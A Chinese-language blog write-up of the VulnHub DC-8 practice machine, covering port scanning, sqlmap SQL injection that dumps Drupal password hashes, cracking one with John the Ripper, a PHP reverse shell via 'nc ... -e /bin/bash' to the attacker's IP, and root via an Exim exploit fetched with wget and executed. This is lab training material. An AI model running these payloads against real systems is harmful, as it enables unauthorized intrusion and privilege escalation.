DC-8 靶场通关小记

PS

地址 https://www.vulnhub.com/entry/dc-8,367/

作者的话

This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.

The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.

这个挑战有点像实际挑战和“概念验证”的混合体,即在 Linux 上安装和配置双因素身份验证是否可以防止 Linux 服务器被利用。

本次挑战的“概念验证”部分源于 Twitter 上关于双因素身份验证和 Linux 的一个问题,同时也源于 @theart42 的建议。

本次挑战的最终目标是绕过双因素身份验证,获取root权限并读取唯一的标志。

主机发现

./fscan -h 192.168.74.0/24 -nobr -nopoc
nmap -A -v -T 4 -p 1-65535 192.168.74.131
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Welcome to DC-8 | DC-8
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache

信息收集

python dirsearch.py -u http://192.168.74.131
[09:39:08] 200 -    2KB - /user/login/

得到网站登录入口/user/login

虚拟机已经删了,这里口述下,访问网站,发现侧边栏通过nid=1传参,直接访问nid=1'返回页面报错,猜测存在SQL注入,通过手工报错注入payload验证SQL注入漏洞存在

python sqlmap.py -u http://192.168.74.131/?nid=1 --technique=E
--dbs
-D d7db --tables
-D d7db -T users --columns
-D d7db -T users -C name,pass --dump
admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

image.png

john --rules --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
john --show pass.txt
?:turtle

得到账号密码 john/turtle

反弹shell

登录网站后,寻找可以执行代码的入口,入口如图所示

image.png

下方有一个将输入内容类型修改为PHP code的选项

image.png

输入内容如下

<p>准备反弹!</p>
<?php
system("nc 192.168.74.128 4444 -e /bin/bash");
?>

其中必须要有能显示的文字才能执行php代码。因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行。

nc -lvnp 4444

image.png

获取完整Shell

image.png

提权

find / -perm -u=s -type f 2>/dev/null
exim4 -bV
Exim version 4.89 #2 built 14-Jun-2017 05:03:07

/usr/sbin/exim4 是 Exim 邮件传输代理(MTA)的可执行文件,用于在基于 Unix 的系统(如 Linux)上发送、接收和路由电子邮件。它是一个广泛使用的开源 MTA,常用于邮件服务器。

Exim 曾经暴露过多次高危漏洞,其中某些漏洞可能允许攻击者以提权方式执行代码或提升权限到 root。

searchsploit exim
searchsploit -m linux/local/46996.sh
python -m http.server

image.png

执行以下命令提权

cd /tmp
wget http://192.168.74.128:8000/46996.sh
chmod +x 46996.sh
# 作者提供两种模块方式
./46996.sh -m setuid # 失败
./46996.sh -m netcat

image.png

参考链接

vulnhub DC8 靶场练习

posted @   lrui1  阅读(6)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示